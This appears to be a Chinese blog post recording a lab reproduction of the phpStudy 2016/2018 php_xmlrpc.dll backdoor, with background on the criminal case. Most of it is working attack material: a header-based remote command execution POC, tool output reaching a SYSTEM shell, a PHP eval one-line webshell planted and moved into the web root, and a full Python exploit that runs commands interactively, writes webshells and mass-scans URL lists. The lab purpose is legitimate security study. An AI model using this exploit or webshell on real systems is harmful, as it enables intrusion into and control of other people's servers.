• 最近打靶遇到了这个漏洞,之前不怎么关注,既然看见了就做个记录。

漏洞描述

事件起因

  • PhpStudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,在国内有着近百万 PHP 语言学习者、开发者用户。
  • 正是这样一款公益性软件在 2018 年 12 月 4 日,西湖区公安分局网警大队接报案称,某公司发现公司内有 20 余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。
  • 通过专业技术溯源进行分析,查明了数据回传的信息种类、原理方法、存储位置,并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定,鉴定结果是该“后门”文件具有控制计算机的功能,嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。
  • 截至 2019 年 1 月被抓获,犯罪团伙共非法控制计算机 67 万余台,非法获取账号密码类、聊天数据类、设备码类等数据 10 万余组,非法牟利 600 余万元。
  • 在 2019 年 9 月 20 日,网上爆出 phpstudy 存在“后门”。

影响版本

  • phpStudy_2016.11.03
    • php-5.2.17
    • php-5.4.45
  • phpStudy_2018.02.11
    • php-5.2.17
    • php-5.4.45

漏洞复现

环境说明

  • 复现环境:
    • Win7
    • phpStudy_2018.02.11(php-5.4.45 + Apache)

image-20230902221931870

检查文件

  • 漏洞原因是因为在 php_xmlrpc.dll 文件包含了恶意代码,检查下是否引用了该文件。

探针查看

  • 通过 PhpStudy 自带的 l.php 文件查看:

image-20230902222017293

  • 发现引用了 XMLRPC 扩展。

查看具体文件

  • 查看 php_xmlrpc.dll 具体文件内容:

image-20230902222038071

  • 发现确实存在有恶意代码。

手工漏洞利用

  • 使用 BurpSuite 抓包进行 POC 构造:

image-20230902222058479

  • 构造说明如下:

    • Accept-Encoding 要把 gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功;
    • Accept-Charset 的值就是执行的命令, 需要进行 base64 编码。

image-20230902222113314

  • 手工利用比较麻烦,还是工具吧。

工具漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# python3 phpStudyBackDoor.py -u http://192.168.1.138

********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************

Target is vulnerable!!!

# python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell

********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************

Target is vulnerable!!! Entering cmdshell...
cmd>>> whoami
nt authority\system

# python3 phpStudyBackDoor.py -u http://192.168.1.138 --getshell

********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************

Using current web path:WWW

http://192.168.1.138/phpStudyBackDoor.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /phpStudyBackDoor.php was not found on this server.</p>
</body></html>

Getshell failed.
Maybe the file directory does not have permissions.
You can try to change the file directory.

# 此处说明找不到 phpStudyBackDoor.php 文件,进入 cmd 界面
# python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell

********************************
* phpStudy BackDoor RCE *
* Coded by Writeup *
********************************

Target is vulnerable!!! Entering cmdshell...

cmd>>> where phpStudyBackDoor.php
C:\phpStudy\phpStudyBackDoor.php

cmd>>> chdir
C:\phpStudy

cmd>>> type phpStudyBackDoor.php
<?php @eval($_GET[cmd]); ?>

cmd>>> copy phpStudyBackDoor.php C:\phpStudy\PHPTutorial\WWW
已复制 1 个文件。

cmd>>> dir C:\phpStudy\PHPTutorial\WWW
驱动器 C 中的卷没有标签。
卷的序列号是 684B-9F14

C:\phpStudy\PHPTutorial\WWW 的目录

2023/02/20 12:00 <DIR> .
2023/02/20 12:00 <DIR> ..
2017/04/20 16:49 21,175 l.php
2013/05/09 20:56 23 phpinfo.php
2023/02/19 22:19 <DIR> phpMyAdmin
2023/02/19 23:30 918 phpStudyBackDoor.php
3 个文件 22,116 字节
3 个目录 28,107,673,600 可用字节
  • 但这时连接WebShell会显示连接失败,因为WebShell代码为:
1
<?php @eval($_GET[cmd]); ?>
  • 所有已知的一句话木马连接工具都不支持$_GET[]形式进行传输,需要改成$_POST[]
1
http://192.168.1.138/phpStudyBackDoor.php?cmd=eval($_POST[v]);

image-20230902222240107

  • 上马成功!

EXP 脚本

  • 由于工具在上传文件容易出现 404 错误,简单修改了下 EXP 脚本(Windows 适用):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
# coding:utf-8
# Author:yongz
# Description:phpstudy 2016/2018 xmlrpc.dll backdoor rce
# Date:2023-2-19



import requests
import queue
import base64
import optparse
import threading
import datetime

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
}


lock = threading.Lock()

q0 = queue.Queue()
threadList = []
global succ
succ = 0

def checkPhpstudyBackdoor(tgtUrl,timeout):

headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
# ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw== -> exit('Wri7eTh3W0rld'); 无意义字符串判断是否执行成功。

rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
# verify=False 移除 SSL 认证

rsp.encoding='utf-8'

if "Wri7eTh3W0rld" in rsp.text:
return True
else:
return False


def checkPhpstudyBackdoorBatch(timeout, doorSuccess):

headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
global countLines
while (not q0.empty()):

tgtUrl = q0.get()
qcount = q0.qsize()
print ('Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']')

try:
rst = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
continue
except requests.exceptions.ConnectionError:
continue
except:
continue

if rst.status_code == 200 and ("Wri7eTh3W0rld" in rst.text):
print ('Target is vulnerable!!!---' + tgtUrl + '\n')
lock.acquire()
doorSuccess.write('Target is vulnerable!!!---' + tgtUrl + '\n')
lock.release()
global succ
succ = succ + 1

else:
continue



def getCmdShellPhpstudyBackdoor(tgtUrl,timeout):

while True:
command = input("cmd>>> ")
if command == 'exit':
break

command = "system(\"" + command + "\");"
command.encode('utf-8')
command = base64.b64encode(command.encode('utf-8'))
headers['Accept-Charset'] = command
cmdResult = requests.get(tgtUrl, headers=headers, verify=False,timeout=7)

cmdResult.encoding='gbk'
#因为 phpStudy 只有 Windows 版存在漏洞,Windows 系统使用的是 GBK 编码。

if cmdResult.text.split('<!')[0] == '':
print('Command Error!')
else:
print (cmdResult.text.split('<!')[0])



def phpstudyBackdoorGetshell(tgtUrl,timeout):

# 将一句话木马写入进 phpinfo.php 文件
b64exp = "system(' ECHO ^<?php @eval($_REQUEST[cmd]); ?^> >> ./shell.php');"
b64exp = base64.b64encode(b64exp.encode('utf-8'))
headers['Accept-Charset'] = b64exp

rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)

# 写入成功执行如下命令
if rsp.status_code == 200:
# 发送请求访问 shell.php 文件
backDoorUrl = tgtUrl + '/shell.php'
rsp1 = requests.get(backDoorUrl,verify=False,timeout=timeout)
b64poc = "system('dir');"
b64poc = base64.b64encode(b64poc.encode('utf-8'))
headers['Accept-Charset'] = b64poc

rsp2 = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
rsp2.encoding='gbk'
# 如果存在 shell.php 文件则说明木马写入成功,之所以这么判断是因为文件上传路径无法确定,原先脚本就是访问不到文件显示 404,这里进行了一些改进
if "shell.php" in rsp2.text:
print ('shell.php 创建成功!\n\n请使用 --cmd 查看文件路径并将后门文件迁移至 WWW 目录下\n')
print ('命令如下:\nchdir # 查看目录路径\ncopy shell.php xxxx/WWW # 迁移文件')
else:
print ('shell.php 创建失败!')
else:
print ('Request Error!')


if __name__ == '__main__':
print ('''
_ ____ _ _ ____ _ ____ ____ ____ _____
_ __ | |__ _ __/ ___|| |_ _ _ __| |_ _ | __ ) __ _ ___| | _| _ \ ___ ___ _ __ | _ \ / ___| ____|
| '_ \| '_ \| '_ \___ \| __| | | |/ _` | | | | | _ \ / _` |/ __| |/ / | | |/ _ \ / _ \| '__| | |_) | | | _|
| |_) | | | | |_) |__) | |_| |_| | (_| | |_| | | |_) | (_| | (__| <| |_| | (_) | (_) | | | _ <| |___| |___
| .__/|_| |_| .__/____/ \__|\__,_|\__,_|\__, | |____/ \__,_|\___|_|\_\____/ \___/ \___/|_| |_| \_\\____|_____|
|_| |_| |___/ by yongz
''')
#创建一个OPtionParser 对象
parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0')

#添加命令行参数
parser.add_option('-u', dest='tgtUrl', type='string', help='single url')
parser.add_option('-f', dest='tgtUrlsPath', type='string', help='urls filepath[exploit default]')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')

parser.add_option('--get', dest='getshell',action='store_true', help='get webshell')
parser.add_option('--cmd', dest='cmdshell',action='store_true', help='cmd shell mode')


#解析传入的命令行参数
(options, args) = parser.parse_args()

# check = options.check
timeout = options.timeout
tgtUrl = options.tgtUrl
getshell = options.getshell
cmdshell = options.cmdshell


# python phpStudyBackDoor.py -u "http://192.168.80.128"
if tgtUrl and (cmdshell is None) and (getshell is None):
if(checkPhpstudyBackdoor(tgtUrl,timeout)):
print ('Target is vulnerable!!!' + '\n')
else:
print ('Target is not vulnerable.' + '\n')

# python phpStudyBackDoor.py -u "http://192.168.80.128" --cmd
if tgtUrl and cmdshell and (getshell is None):
if (checkPhpstudyBackdoor(tgtUrl,timeout)):
print ('Target is vulnerable!!! Entering cmdshell...' + '\n')
getCmdShellPhpstudyBackdoor(tgtUrl,timeout)
else:
print ('Target is not vulnerable.' + '\n')
pass

# python phpStudyBackDoor.py -u "http://192.168.80.128" --get
if tgtUrl and (cmdshell is None) and getshell:
phpstudyBackdoorGetshell(tgtUrl,timeout)

# python phpStudyBackDoor.py -u "http://192.168.80.128" -f url.txt
if options.tgtUrlsPath:
tgtFilePath = options.tgtUrlsPath
threads = options.threads
# 获取当前时间
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')

doorSuccess = open(str(nowtime) + '_' + 'success.txt', 'w')
urlsFile = open(tgtFilePath)
global countLines
countLines = len(open(tgtFilePath, 'r').readlines())

print ('===Total ' + str(countLines) + ' urls===')

for urls in urlsFile:
fullUrls = urls.strip()
q0.put(fullUrls)
for thread in range(threads):
t = threading.Thread(target=checkPhpstudyBackdoorBatch, args=(timeout, doorSuccess))
t.start()
threadList.append(t)
for th in threadList:
th.join()

print ('===Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']===')
print ('Results were saved in current path: ' + str(nowtime) + '_success.txt')
doorSuccess.close()

image-20230902222310826